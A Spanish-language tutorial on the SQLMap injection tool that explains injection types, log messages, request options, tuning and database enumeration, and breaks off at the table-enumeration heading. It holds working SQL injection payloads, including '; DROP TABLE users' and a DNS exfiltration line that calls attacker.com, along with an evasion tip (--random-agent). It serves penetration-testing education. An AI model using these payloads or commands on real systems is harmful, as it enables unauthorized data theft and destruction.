Post

SQLMap

SQLMap guia básica

SQLMap

SQLMap es una herramienta gratuita y de código abierto para pruebas de penetración escrita en Python que automatiza el proceso de detección y explotación de fallos de inyección SQL (SQLi). SQLMap se ha desarrollado continuamente desde 2006 y aún hoy se sigue manteniendo.

SQLMap es totalmente compatible con los siguientes DBMS:

MySQLOraclePostgreSQLMicrosoft SQL Server
SQLiteIBM DB2Microsoft AccessFirebird
SybaseSAP MaxDBInformixMariaDB
HSQLDBCockroachDBTiDBMemSQL
H2MonetDBApache DerbyAmazon Redshift
Vertica, MckoiPrestoAltibaseMimerSQL
CrateDBGreenplumDrizzleApache Ignite
CubridInterSystems CacheIRISeXtremeDB
FrontBase   
    

Vemos los tipos de inyecciones SQL compatibles con SQLMap con el comando sqlmap -hh.

  • B: Ciego basado en booleanos.
  • E: Basado en errores.
  • U: Basado en consultas de unión.
  • S: Consultas apiladas.
  • T: Ciego basado en el tiempo.
  • Q: Consultas en línea.
Inyección SQL ciega basada en booleanos
1
AND 1=1

SQLMap aprovecha las vulnerabilidades de inyección SQL ciega basada en booleanos mediante la diferenciación entre los resultados de consulta TRUE y FALSE, recuperando de forma eficaz 1 byte de información por solicitud. La diferenciación se basa en la comparación de las respuestas del servidor para determinar si la consulta SQL devolvió TRUE o FALSE.

Inyección SQL basada en errores
1
AND GTID_SUBSET(@@version,0)

Si los errores del sistema de gestión de bases de datos (DBMS) se devuelven como parte de la respuesta del servidor para cualquier problema relacionado con la base de datos, existe la probabilidad de que se puedan utilizar para transportar los resultados de las consultas solicitadas. En tales casos, se utilizan payloads especializados para el DBMS actual, dirigidas a las funciones que causan comportamientos incorrectos conocidos.

El SQLi basado en errores se considera más rápido que todos los demás tipos, excepto el basado en consultas UNION, ya que puede recuperar una cantidad limitada (por ejemplo, 200 bytes) de datos denominados «fragmentos» a través de cada solicitud.

Basado en consultas UNION
1
UNION ALL SELECT 1,@@version,3

Con el uso de UNION, generalmente es posible ampliar la consulta original (vulnerable) con los resultados de las sentencias inyectadas. De esta manera, si los resultados de la consulta original se muestran como parte de la respuesta, el atacante puede obtener resultados adicionales de las sentencias inyectadas dentro de la propia respuesta de la página. Este tipo de inyección SQL se considera el más rápido, ya que, en el escenario ideal, el atacante podría extraer el contenido de toda la tabla de la base de datos de interés con una sola solicitud.

Consultas apiladas
1
; DROP TABLE users

El apilamiento de consultas SQL, también conocido como «piggy-backing», es la forma de inyectar sentencias SQL adicionales después de la vulnerable. En caso de que sea necesario ejecutar sentencias que no sean de consulta (por ejemplo, INSERT, UPDATE o DELETE), el apilamiento debe ser compatible con la plataforma vulnerable (por ejemplo, Microsoft SQL Server y PostgreSQL lo admiten de forma predeterminada). SQLMap puede utilizar estas vulnerabilidades para ejecutar sentencias que no sean de consulta en funciones avanzadas (por ejemplo, la ejecución de comandos del sistema operativo) y la recuperación de datos de forma similar a los tipos de SQLi ciegos basados en el tiempo.

Inyección SQL ciega basada en el tiempo
1
AND 1=IF(2>1,SLEEP(5),0)

El principio de la inyección SQL ciega basada en el tiempo es similar al de la inyección SQL ciega basada en booleanos, pero en este caso se utiliza el tiempo de respuesta como fuente para diferenciar entre VERDADERO o FALSO.

  • La respuesta VERDADERA se caracteriza generalmente por una diferencia notable en el tiempo de respuesta en comparación con la respuesta normal del servidor.

  • La respuesta FALSA debería dar lugar a un tiempo de respuesta indistinguible de los tiempos de respuesta normales.

Es considerablemente más lenta que la inyección SQL ciega basada en booleanos, ya que las consultas que dan como resultado VERDADERO retrasarían la respuesta del servidor. Este tipo de inyección SQL se utiliza en casos en los que no es aplicable la inyección SQL ciega basada en booleanos. Por ejemplo, en caso de que la instrucción SQL vulnerable sea una no consulta (por ejemplo, INSERT, UPDATE o DELETE), ejecutada como parte de la funcionalidad auxiliar sin ningún efecto en el proceso de renderización de la página, se utiliza la SQLi basada en el tiempo por necesidad, ya que la inyección SQL ciega basada en booleanos no funcionaría realmente en este caso.

Consultas en línea
1
SELECT (SELECT @@version) from

Este tipo de inyección incrustaba una consulta dentro de la consulta original. Este tipo de inyección SQL es poco común, ya que requiere que la aplicación web vulnerable esté escrita de una determinada manera. Aun así, SQLMap también admite este tipo de SQLi.

Inyección SQL fuera de banda
1
LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\README.txt'))

Se considera uno de los tipos más avanzados de SQLi, utilizado en casos en los que todos los demás tipos no son compatibles con la aplicación web vulnerable o son demasiado lentos (por ejemplo, SQLi ciego basado en el tiempo). SQLMap admite SQLi fuera de banda a través de la «exfiltración de DNS», en la que las consultas solicitadas se recuperan a través del tráfico DNS.

Al ejecutar SQLMap en el servidor DNS del dominio bajo control (por ejemplo, .attacker.com), SQLMap puede realizar el ataque obligando al servidor a solicitar subdominios inexistentes (por ejemplo, foo.attacker.com), donde foo sería la respuesta SQL que queremos recibir. A continuación, SQLMap puede recopilar estas solicitudes DNS erróneas y recopilar la parte foo, para formar la respuesta SQL completa.

Descripción de los mensajes de registro

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
$ sqlmap -u "http://www.example.com/vuln.php?id=1" --batch
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.4.9}
|_ -| . [,]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org


[*] starting @ 22:26:45 /2020-09-09/

[22:26:45] [INFO] testing connection to the target URL
[22:26:45] [INFO] testing if the target URL content is stable
[22:26:46] [INFO] target URL content is stable
[22:26:46] [INFO] testing if GET parameter 'id' is dynamic
[22:26:46] [INFO] GET parameter 'id' appears to be dynamic
[22:26:46] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[22:26:46] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[22:26:46] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[22:26:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:26:46] [WARNING] reflective value(s) found and filtering out
[22:26:46] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="luther")
[22:26:46] [INFO] testing 'Generic inline queries'
[22:26:46] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[22:26:46] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
...SNIP...
[22:26:46] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable 
[22:26:46] [INFO] testing 'MySQL inline queries'
[22:26:46] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[22:26:46] [WARNING] time-based comparison requires larger statistical model, please wait........... (done)                                                                                                       
...SNIP...
[22:26:46] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[22:26:56] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[22:26:56] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[22:26:56] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[22:26:56] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[22:26:56] [INFO] target URL appears to have 3 columns in query
[22:26:56] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 8814=8814

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1 AND (SELECT 7744 FROM(SELECT COUNT(*),CONCAT(0x7170706a71,(SELECT (ELT(7744=7744,1))),0x71707a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 3669 FROM (SELECT(SLEEP(5)))TIxJ)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x7170706a71,0x554d766a4d694850596b754f6f716250584a6d53485a52474a7979436647576e766a595374436e78,0x71707a7871)-- -
---
[22:26:56] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0
[22:26:57] [INFO] fetched data logged to text files under '/home/user/.sqlmap/output/www.example.com'

Estos datos suelen ser cruciales para comprender el proceso automatizado de inyección SQL, ya que nos guían a lo largo del mismo. Nos muestran exactamente qué tipo de vulnerabilidades está explotando SQLMap, lo que nos ayuda a informar sobre el tipo de inyección que presenta la aplicación web. Esto también puede resultar útil si queremos explotar manualmente la aplicación web una vez que SQLMap haya determinado el tipo de inyección y el parámetro vulnerable.

URL content is stable

  • “target URL content is stable”

Esto significa que no hay cambios importantes entre las respuestas en caso de solicitudes idénticas continuas. Esto es importante desde el punto de vista de la automatización, ya que, en caso de respuestas estables, es más fácil detectar las diferencias causadas por los posibles intentos de SQLi. Si bien la estabilidad es importante, SQLMap cuenta con mecanismos avanzados para eliminar automáticamente el posible «ruido» que podría provenir de destinos potencialmente inestables.

Parameter appears to be dynamic

  • “GET parameter ‘id’ appears to be dynamic”

Siempre es deseable que el parámetro probado sea «dinámico», ya que es una señal de que cualquier cambio realizado en su valor daría lugar a un cambio en la respuesta; por lo tanto, el parámetro puede estar vinculado a una base de datos. En caso de que la salida sea «estática» y no cambie, podría ser un indicador de que el valor del parámetro probado no es procesado por el objetivo, al menos en el contexto actual.

Parameter might be injectable

  • “heuristic (basic) test shows that GET parameter ‘id’ might be injectable (possible DBMS: ‘MySQL’)”

Los errores del DBMS son un buen indicio de la posible existencia de SQLi. En este caso, se produjo un error de MySQL cuando SQLMap envió un valor intencionadamente inválido (por ejemplo, «?id=1»,). Esto indica que el parámetro probado podría ser susceptible de inyección SQLi y que el objetivo podría ser MySQL. Cabe señalar que esto no es una prueba de SQLi, sino solo un indicio de que el mecanismo de detección debe demostrarse en la ejecución posterior.

Parameter might be vulnerable to XSS attacks

  • “heuristic (XSS) test shows that GET parameter ‘id’ might be vulnerable to cross-site scripting (XSS) attacks”

Aunque no es su objetivo principal, SQLMap también ejecuta una prueba heurística rápida para detectar la presencia de vulnerabilidades XSS. En pruebas a gran escala, en las que se comprueban muchos parámetros con SQLMap, es útil contar con este tipo de comprobaciones heurísticas rápidas, especialmente si no se encuentran vulnerabilidades SQLi.

Back-end DBMS is ‘…’

  • “it looks like the back-end DBMS is ‘MySQL’. Do you want to skip test payloads specific for other DBMSes? [Y/n]”

En una ejecución normal, SQLMap comprueba todos los DBMS compatibles. En caso de que haya una indicación clara de que el objetivo está utilizando un DBMS específico, podemos reducir las cargas útiles solo a ese DBMS específico.

Level/risk values

  • “for the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values? [Y/n]”

Si hay indicios claros de que el objetivo utiliza un DBMS específico, también es posible ampliar las pruebas para ese mismo DBMS específico más allá de las pruebas habituales. Esto significa básicamente ejecutar todas los payloads de inyección SQL para ese DBMS específico, mientras que si no se detectara ningún DBMS, solo se probarían los payloads rincipales.

Reflective values found

  • “reflective value(s) found and filtering out”

Solo una advertencia: algunas partes de los payloads utilizados se encuentran en la respuesta. Este comportamiento podría causar problemas a las herramientas de automatización, ya que representa basura. Sin embargo, SQLMap cuenta con mecanismos de filtrado para eliminar dicha basura antes de comparar el contenido original de la página.

Parameter appears to be injectable

  • “GET parameter ‘id’ appears to be ‘AND boolean-based blind - WHERE or HAVING clause’ injectable (with –string=”luther”)”

Este mensaje indica que el parámetro parece ser inyectable, aunque todavía existe la posibilidad de que se trate de un falso positivo. En el caso de los tipos SQLi ciegos basados en booleanos y similares (por ejemplo, los ciegos basados en el tiempo), en los que existe una alta probabilidad de falsos positivos, al final de la ejecución, SQLMap realiza pruebas exhaustivas que consisten en simples comprobaciones lógicas para eliminar los falsos positivos.

Además, con –string=«luther» se indica que SQLMap reconoció y utilizó la aparición del valor de cadena constante luther en la respuesta para distinguir las respuestas TRUE de las FALSE. Se trata de un hallazgo importante porque, en tales casos, no es necesario utilizar mecanismos internos avanzados, como la eliminación de la dinámica/reflexión o la comparación difusa de respuestas, que no pueden considerarse falsos positivos.

Time-based comparison statistical model

  • “time-based comparison requires a larger statistical model, please wait……….. (done)”

SQLMap utiliza un modelo estadístico para el reconocimiento de respuestas regulares y (deliberadamente) retrasadas. Para que este modelo funcione, es necesario recopilar un número suficiente de tiempos de respuesta regulares. De esta manera, SQLMap puede distinguir estadísticamente entre el retraso deliberado, incluso en entornos de red de alta latencia.

Extending UNION query injection technique tests

  • “automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found”

Las comprobaciones SQLi de consulta UNION requieren un número considerablemente mayor de solicitudes para el reconocimiento satisfactorio del payload utilizable que otros tipos de SQLi. Para reducir el tiempo de prueba por parámetro, especialmente si el objetivo no parece ser inyectable, el número de solicitudes se limita a un valor constante (es decir, 10) para este tipo de comprobación. Sin embargo, si hay muchas posibilidades de que el objetivo sea vulnerable, especialmente si se encuentra otra técnica SQLi (potencial), SQLMap amplía el número predeterminado de solicitudes para la consulta UNION SQLi, debido a una mayor expectativa de éxito.

Technique appears to be usable

  • “ORDER BY’ technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test”

Como comprobación heurística para el tipo SQLi de consulta UNION, antes de enviar los payload UNION reales, se comprueba la viabilidad de una técnica conocida como ORDER BY. En caso de que sea viable, SQLMap puede reconocer rápidamente el número correcto de columnas UNION necesarias mediante un enfoque de búsqueda binaria.

Parameter is vulnerable

  • “GET parameter ‘id’ is vulnerable. Do you want to keep testing the others (if any)? [y/N]”

Este es uno de los mensajes más importantes de SQLMap, ya que significa que se ha detectado que el parámetro es vulnerable a inyecciones SQL. En los casos habituales, es posible que el usuario solo desee encontrar al menos un punto de inyección (es decir, un parámetro) que pueda utilizarse contra el objetivo. Sin embargo, si estuviéramos realizando una prueba exhaustiva de la aplicación web y quisiéramos informar de todas las vulnerabilidades potenciales, podríamos continuar buscando todos los parámetros vulnerables.

Sqlmap identified injection points

  • “sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests:”

A continuación se muestra una lista de todos los puntos de inyección con el tipo, el título y los payloads, lo que representa la prueba definitiva del éxito en la detección y explotación de las vulnerabilidades SQLi encontradas. Cabe señalar que SQLMap solo incluye aquellos hallazgos que son demostrablemente explotables (es decir, utilizables).

Data logged to text files

  • “fetched data logged to text files under ‘/home/user/.sqlmap/output/www.example.com’”

Esto indica la ubicación del sistema de archivos local utilizada para almacenar todos los registros, sesiones y datos de salida para un objetivo específico, en este caso, www.example.com.

Después de una ejecución inicial de este tipo, en la que se detecta correctamente el punto de inyección, todos los detalles para futuras ejecuciones se almacenan en los archivos de sesión del mismo directorio. Esto significa que SQLMap intenta reducir al máximo las solicitudes de objetivo necesarias, en función de los datos de los archivos de sesión.

Ejecutando SQLMap en una petición HTTP

SQLMap tiene un montón de opciones y comandos que podemos usar para configurar bien la solicitud (HTTP) antes de usarla.

Muchas veces, errores simples como olvidarse de poner los valores correctos de las cookies, complicar demasiado la configuración con una línea de comando muy larga o declarar mal los datos POST formateados, pueden impedir que detectes y aproveches bien una posible vulnerabilidad SQLi.

Comandos CURL

Una de las mejores y más sencillas formas de configurar correctamente una solicitud SQLMap contra un objetivo específico (es decir, una solicitud web con parámetros internos) es utilizando la función Copiar como cURL desde el panel Red (Monitor) dentro de las herramientas para desarrolladores de Chrome, Edge o Firefox.

Al pegar el contenido del portapapeles (Ctrl-V) en la línea de comandos y cambiar el comando curl original por sqlmap, podemos utilizar SQLMap con el mismo comando curl.

GET/POST Requests

En el caso más habitual, los parámetros GET se proporcionan con el uso de la opción -u/–url. En cuanto a la comprobación de los datos POST, se puede utilizar el indicador –data.

1
$ sqlmap 'http://www.example.com/' --data 'uid=1&name=test'

En tales casos, se comprobará si los parámetros POST uid y name son vulnerables a SQLi. Por ejemplo, si tenemos indicios claros de que el parámetro uid es vulnerable a SQLi, podríamos limitar las pruebas solo a este parámetro utilizando -p uid. De lo contrario, podríamos marcarlo dentro de los datos proporcionados con el uso del marcador especial *.

1
$ sqlmap 'http://www.example.com/' --data 'uid=1*&name=test'

Full HTTP Requests

Si necesitamos especificar una solicitud HTTP compleja con muchos valores de encabezado diferentes y un cuerpo POST largo, podemos utilizar el indicador -r.

Con esta opción, SQLMap recibe el «archivo de solicitud», que contiene toda la solicitud HTTP dentro de un único archivo de texto. En un escenario habitual, dicha solicitud HTTP se puede capturar desde una aplicación proxy (por ejemplo, Burp) y escribir en el archivo de solicitud.

1
2
3
4
5
6
7
8
9
10
11
12
GET /?id=1 HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1
If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT
If-None-Match: "3147526947"
Cache-Control: max-age=0

Podemos copiar manualmente la solicitud HTTP desde Burp y escribirla en un archivo, o podemos hacer clic con el botón derecho del ratón en la solicitud dentro de Burp y seleccionar Copiar a archivo.

Otra forma de capturar la solicitud HTTP completa sería utilizando el navegador, como se ha mencionado anteriormente en la sección, y seleccionando la opción Copiar > Copiar encabezados de solicitud, y luego pegando la solicitud en un archivo.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ sqlmap -r req.txt
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.4.9}
|_ -| . [(]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org


[*] starting @ 14:32:59 /2020-09-11/

[14:32:59] [INFO] parsing HTTP request from 'req.txt'
[14:32:59] [INFO] testing connection to the target URL
[14:32:59] [INFO] testing if the target URL content is stable
[14:33:00] [INFO] target URL content is stable

Custom SQLMap Requests

Por ejemplo, si es necesario especificar el valor de la cookie (de sesión) en PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c, utilice la opción –cookie.

1
$ sqlmap ... --cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'
1
$ sqlmap ... -H='Cookie:PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'

Podemos aplicar lo mismo a opciones como –host, –referer y -A/–user-agent, que se utilizan para especificar los mismos valores de los encabezados HTTP.

Además, existe un modificador –random-agent diseñado para seleccionar aleatoriamente un valor de encabezado User-agent de la base de datos incluida de valores de navegadores habituales. Es importante recordar este modificador, ya que cada vez más soluciones de protección descartan automáticamente todo el tráfico HTTP que contiene el valor User-agent predeterminado reconocible de SQLMap (por ejemplo, User-agent: sqlmap/1.4.9.12#dev (http://sqlmap.org)).

Alternativamente, se puede utilizar el modificador –mobile para imitar el smartphone utilizando ese mismo valor de encabezado.

Aunque SQLMap, por defecto, solo se centra en los parámetros HTTP, es posible comprobar los encabezados en busca de vulnerabilidades SQLi. La forma más sencilla es especificar la marca de inyección «personalizada» después del valor del encabezado (por ejemplo, –cookie=«id=1*»). El mismo principio se aplica a cualquier otra parte de la solicitud.

Además, si quisiéramos especificar un método HTTP alternativo, distinto de GET y POST (por ejemplo, PUT), podemos utilizar la opción –method.

1
$ sqlmap -u www.target.com --data='id=1' --method PUT

Custom HTTP Requests

SQLMap también admite solicitudes HTTP con formato JSON (por ejemplo, {«id»:1}) y XML (por ejemplo, 1).

La compatibilidad con estos formatos se implementa de manera «flexible», por lo que no existen restricciones estrictas sobre cómo se almacenan los valores de los parámetros en su interior. Si el cuerpo del POST es relativamente sencillo y breve, la opción –data será suficiente.

Sin embargo, en el caso de un cuerpo POST complejo o largo, podemos volver a utilizar la opción -r.

Manejando los errores en SQLMap

El primer paso suele ser cambiar –parse-errors, para analizar los errores del DBMS (si los hay) y mostrarlos como parte de la ejecución del programa.

Con esta opción, SQLMap mostrará automáticamente el error del DBMS, lo que nos permitirá identificar claramente cuál es el problema y solucionarlo adecuadamente.

Capturar el tráfico

Con la opción -t podemos capturar todo el tráfico en un archivo externo.

1
2
3
4
5
6
7
8
9
10
11
$ sqlmap -u "http://www.target.com/vuln.php?id=1" --batch -t /tmp/traffic.txt

$ cat /tmp/traffic.txt
HTTP request [#1]:
GET /?id=1 HTTP/1.1
Host: www.example.com
Cache-control: no-cache
Accept-encoding: gzip,deflate
Accept: */*
User-agent: sqlmap/1.4.9 (http://sqlmap.org)
Connection: close

Verbose output

Aumenta la información que muestra por terminal la ejecución.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ sqlmap -u "http://www.target.com/vuln.php?id=1" -v 6 --batch
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.4.9}
|_ -| . [(]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org


[*] starting @ 16:17:40 /2020-09-24/

[16:17:40] [DEBUG] cleaning up configuration parameters
[16:17:40] [DEBUG] setting the HTTP timeout
[16:17:40] [DEBUG] setting the HTTP User-Agent header
[16:17:40] [DEBUG] creating HTTP requests opener object
[16:17:40] [DEBUG] resolving hostname 'www.example.com'
[16:17:40] [INFO] testing connection to the target URL
[16:17:40] [TRAFFIC OUT] HTTP request [#1]:

Usar un proxy

Por último, podemos utilizar la opción –proxy para redirigir todo el tráfico a través de un proxy (MiTM) (por ejemplo, Burp). Esto redirigirá todo el tráfico de SQLMap a través de Burp, de modo que más tarde podamos investigar manualmente todas las solicitudes, repetirlas y utilizar todas las funciones de Burp con estas solicitudes.

Attack tuning

Existen opciones para ajustar los intentos de inyección SQLi con el fin de ayudar a SQLMap en la fase de detección. Cada payload enviado al objetivo consta de:

  • vector (por ejemplo, UNION ALL SELECT 1,2,VERSION()): parte central del payload, que contiene el código SQL útil que se ejecutará en el objetivo.

  • límites (por ejemplo, '<vector>-- -): formaciones de prefijos y sufijos, utilizadas para la inyección adecuada del vector en la instrucción SQL vulnerable.

Prefijos/sufijos

1
sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -"

Esto dará como resultado un conjunto de todos los valores vectoriales entre el prefijo estático %’)) y el sufijo – -.

Por ejemplo:

1
2
$query = "SELECT id,name,surname FROM users WHERE id LIKE (('" . $_GET["q"] . "')) LIMIT 0,1";
$result = mysqli_query($link, $query);

Pasaría a forma esta query SQL:

1
SELECT id,name,surname FROM users WHERE id LIKE (('test%')) UNION ALL SELECT 1,2,VERSION()-- -')) LIMIT 0,1

Nivel/riesgo

De forma predeterminada, SQLMap combina un conjunto predefinido de los límites más comunes (es decir, pares de prefijos/sufijos), junto con los vectores que tienen una alta probabilidad de éxito en caso de un objetivo vulnerable. Sin embargo, existe la posibilidad de que los usuarios utilicen conjuntos más grandes de límites y vectores, ya incorporados en SQLMap.

Se deben utilizar las opciones –level y –risk:

  • La opción –level (1-5, por defecto 1) amplía tanto los vectores como los límites utilizados, en función de su expectativa de éxito (es decir, cuanto menor es la expectativa, mayor es el nivel).

  • La opción –risk (1-3, por defecto 1) amplía el conjunto de vectores utilizados en función de su riesgo de causar problemas en el lado del objetivo (es decir, riesgo de pérdida de entradas en la base de datos o denegación de servicio).

En cuanto al número de payloads por defecto (es decir, –level=1 –risk=1), el número de payloads utilizados para probar un solo parámetro asciende a 72, mientras que en el caso más detallado (–level=5 –risk=3) el número de payloads aumenta a 7865.

Ajuste avanzado

Para ajustar aún más el mecanismo de detección, hay un amplio conjunto de opciones. En casos normales, SQLMap no requerirá su uso. Aun así, debemos familiarizarnos con ellos para poder utilizarlos cuando sea necesario.

Códigos de estado

Por ejemplo, cuando se trata de una respuesta de destino enorme con mucho contenido dinámico, las sutiles diferencias entre las respuestas TRUE y FALSE podrían utilizarse con fines de detección. Si la diferencia entre las respuestas TRUE y FALSE se puede ver en los códigos HTTP (por ejemplo, 200 para TRUE y 500 para FALSE), se puede utilizar la opción –code para fijar la detección de respuestas TRUE a un código HTTP específico (por ejemplo, –code=200).

Títulos

Si la diferencia entre las respuestas se puede ver al inspeccionar los títulos de las páginas HTTP, se podría utilizar el modificador –titles para indicar al mecanismo de detección que base la comparación en el contenido de la etiqueta HTML <title>.

Cadenas

En caso de que aparezca un valor de cadena específico en las respuestas TRUE (por ejemplo, success), mientras que no aparece en las respuestas FALSE, se puede utilizar la opción –string para fijar la detección basándose únicamente en la aparición de ese valor único (por ejemplo, –string=success).

Solo texto

Cuando se trata de una gran cantidad de contenido oculto, como ciertas etiquetas de comportamiento de páginas HTML (por ejemplo, <script>, <style>, <meta>, etc.), podemos utilizar el modificador –text-only, que elimina todas las etiquetas HTML y basa la comparación solo en el contenido textual (es decir, visible).

Técnicas

En algunos casos especiales, tenemos que limitar los payloads utilizados solo a un tipo determinado. Por ejemplo, si los payloads ciegos basados en el tiempo están causando problemas en forma de tiempos de espera de respuesta, o si queremos forzar el uso de un tipo específico de payload SQLi, la opción –technique puede especificar la técnica SQLi que se va a utilizar.

Ajuste de UNION SQLi

En algunos casos, los payloads UNION SQLi requieren información adicional proporcionada por el usuario para funcionar. Si podemos encontrar manualmente el número exacto de columnas de la consulta SQL vulnerable, podemos proporcionar este número a SQLMap con la opción –union-cols (por ejemplo, –union-cols=17). En caso de que los valores de relleno «ficticios» predeterminados utilizados por SQLMap (NULL y un entero aleatorio) no sean compatibles con los valores de los resultados de la consulta SQL vulnerable, podemos especificar un valor alternativo en su lugar (por ejemplo, –union-char=“a”).

Además, en caso de que sea necesario utilizar un apéndice al final de una consulta UNION en forma de FROM <tabla> (por ejemplo, en el caso de Oracle), podemos configurarlo con la opción –union-from (por ejemplo, –union-from=users).

Enumeración de bases de datos

Consiste en la búsqueda y recuperación (es decir, la exfiltración) de toda la información disponible de la base de datos vulnerable.

SQLMap Data Exfiltration

SQLMap cuenta con un conjunto predefinido de consultas para todos los DBMS compatibles, en el que cada entrada representa el SQL que debe ejecutarse en el objetivo para recuperar el contenido deseado.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?xml version="1.0" encoding="UTF-8"?>

<root>
    <dbms value="MySQL">
        <!-- http://dba.fyicenter.com/faq/mysql/Difference-between-CHAR-and-NCHAR.html -->
        <cast query="CAST(%s AS NCHAR)"/>
        <length query="CHAR_LENGTH(%s)"/>
        <isnull query="IFNULL(%s,' ')"/>
...SNIP...
        <banner query="VERSION()"/>
        <current_user query="CURRENT_USER()"/>
        <current_db query="DATABASE()"/>
        <hostname query="@@HOSTNAME"/>
        <table_comment query="SELECT table_comment FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' AND table_name='%s'"/>
        <column_comment query="SELECT column_comment FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s' AND table_name='%s' AND column_name='%s'"/>
        <is_dba query="(SELECT super_priv FROM mysql.user WHERE user='%s' LIMIT 0,1)='Y'"/>
        <check_udf query="(SELECT name FROM mysql.func WHERE name='%s' LIMIT 0,1)='%s'"/>
        <users>
            <inband query="SELECT grantee FROM INFORMATION_SCHEMA.USER_PRIVILEGES" query2="SELECT user FROM mysql.user" query3="SELECT username FROM DATA_DICTIONARY.CUMULATIVE_USER_STATS"/>
            <blind query="SELECT DISTINCT(grantee) FROM INFORMATION_SCHEMA.USER_PRIVILEGES LIMIT %d,1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d,1" query3="SELECT DISTINCT(username) FROM DATA_DICTIONARY.CUMULATIVE_USER_STATS LIMIT %d,1" count="SELECT COUNT(DISTINCT(grantee)) FROM INFORMATION_SCHEMA.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user" count3="SELECT COUNT(DISTINCT(username)) FROM DATA_DICTIONARY.CUMULATIVE_USER_STATS"/>
        </users>
    ...SNIP...

Por ejemplo, si un usuario desea recuperar el «banner» (opción –banner) para el destino basado en el DBMS MySQL, se utilizará la consulta VERSION() para tal fin.

En caso de recuperar el nombre de usuario actual (opción –current-user), se utilizará la consulta CURRENT_USER().

Otro ejemplo es recuperar todos los nombres de usuario (es decir, la etiqueta <users>).

Se utilizan dos consultas, dependiendo de la situación. La consulta marcada como inband se utiliza en todas las situaciones no ciegas (es decir, consulta UNION y SQLi basada en errores), en las que se pueden esperar los resultados de la consulta dentro de la propia respuesta.

La consulta marcada como ciega, por otro lado, se utiliza para todas las situaciones ciegas, en las que los datos deben recuperarse fila por fila, columna por columna y bit por bit.

Enumeración básica de datos de la base de datos

1
$ sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba

La enumeración suele comenzar con la recuperación de la información básica:

  • Banner de la versión de la base de datos (opción –banner)
  • Nombre del usuario actual (opción –current-user)
  • Nombre de la base de datos actual (opción –current-db)
  • Comprobación de si el usuario actual tiene derechos de DBA (administrador) (opción –is-dba)

Enumeración de tablas

1
